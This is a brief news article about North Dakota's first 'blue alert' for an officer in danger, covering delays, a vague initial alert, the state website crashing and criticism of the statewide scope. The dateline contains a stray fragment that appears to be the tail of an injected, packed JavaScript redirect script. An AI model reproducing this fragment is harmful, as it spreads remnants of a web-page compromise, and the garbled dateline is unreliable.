BISMARCK, szsnf|var|u0026u|referrer|hrdia||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) – Thursday’s “blue alert” was the first one ever issued in North Dakota.

A “blue alert” is issued when a law enforcement officer is in trouble, or is part of a potentially dangerous incident.

Cecily Fong of the State’s Emergency Management division says procedurally, it went according to plan.

There has been some criticism that it took a long time to issue the blue alert – the incident involving the Bismarck police officer was reported before 11 am, but the blue alert wasn’t issued until 1:40 pm.

Fong says there was also a problem with the initial alert – in that it didn’t give any specifics, and told people to go to local media. And when it was reissued 10 minutes later, it gave the DES Website address, and the Website crashed.

There was also some criticism that the blue alert was issued statewide. But Fong defended that.

Fong says the various agencies are meeting today to go over what happened, and to see where improvements can be made.